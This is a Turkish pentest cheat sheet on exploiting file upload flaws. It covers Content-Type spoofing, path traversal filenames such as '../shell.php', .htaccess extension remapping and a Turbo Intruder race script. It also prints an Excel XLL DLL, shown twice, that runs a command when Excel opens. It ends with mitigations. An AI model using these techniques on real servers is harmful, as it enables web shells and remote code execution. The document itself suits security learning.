Dosya yükleme güvenlik açıkları, bir web sunucusunun kullanıcıların dosya adı, türü, içeriği veya boyutu gibi şeyleri yeterince doğrulamadan dosya sistemine dosya yüklemesine izin vermesidir.
Bunlarla ilgili kısıtlamaların düzgün bir şekilde uygulanmaması, basit bir resim yükleme işlevinin bile tehlikeli dosyalar yüklemek için kullanılabileceği anlamına gelebilir. Bu, uzaktan kod yürütülmesini sağlayan sunucu tarafı komut dosyalarını bile içerebilir.
Saldırı Yöntemleri
Kontroller
İlk adım olarak normal bir dosya yüklemeyi deniyoruz. Eğer bu dosyaya doğrudan erişebiliyorsak bir sonraki adımları deneyebiliriz.
Eğer dosya yükleniyorsa ve nereye yüklendiğini bilmiyorsak dizin taraması yapabiliriz.
Eğer dosyaya erişebiliyorsak dosyanın uzantısının değişmiyor olması gerekir.
Content-Type Koruması
Eğer dosyanın türü content-type header ile kontrol ediliyorsa php payload gönderip content-type başlığını kabul edilen bir tipe çevirebiliriz.
Content-Type: image/jpeg
Content-Type: image/png
Path Traversal
Sunucu tarafında bir dizindeki hiçbir dosyanın kod çalıştıramaması için bir güvenlik önlemi alınmış olabilir. Eğer path traversal zafiyeti varsa bu dizinin dışına dosyamızı yükleyebiliriz.
../shell.php
../../shell.php
Whitelist Atlatma
Eğer dosya uzantısı kontrolü varsa aşağıdaki payloadlar çalışabilir.
Eğer uzantı kontrolü atlatılamıyorsa dizine htaccess dosyası yüklüyoruz ve bu dosyada dizindeki .l33t uzantısına sahip dosyaların php olarak yorumlanmasını sağlıyoruz.
Eğer yüklediğimiz dosya kontrol edilmeden önce sunucuya yükleniyorsa ve sonradan siliniyorsa dosyayı yükleme ve okuma işlemini ard arda yapmayı deneyebiliriz.
Turbo intruder veya grup haline paralel göndermeyi deneyebiliriz.
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
#include <Windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("cmd.exe /c notepad.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#include <windows.h>
__declspec(dllexport) void __cdecl xlAutoOpen(void);
void __cdecl xlAutoOpen() {
// Triggers when Excel opens
WinExec("cmd.exe /c notepad.exe", 1);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Önlemler
Dosya uzantısını, yasaklanmış uzantılardan oluşan bir blacklist yerine izin verilen uzantılardan oluşan bir whitelist'e göre kontrol edin. Hangi uzantılara izin vermek isteyebileceğinizi tahmin etmek, bir saldırganın hangilerini yüklemeye çalışabileceğini tahmin etmekten çok daha kolaydır.
Dosya adının bir dizin veya geçiş dizisi (../) olarak yorumlanabilecek herhangi bir alt dize içermediğinden emin olun.
Mevcut dosyaların üzerine yazılmasını önlemek için yüklenen dosyaları yeniden adlandırın.
Tam olarak doğrulanana kadar dosyaları sunucunun kalıcı dosya sistemine yüklemeyin.
Mümkün olduğunca, kendi doğrulama mekanizmalarınızı yazmaya çalışmak yerine dosya yüklemelerini önceden işlemek için bir framework kullanın.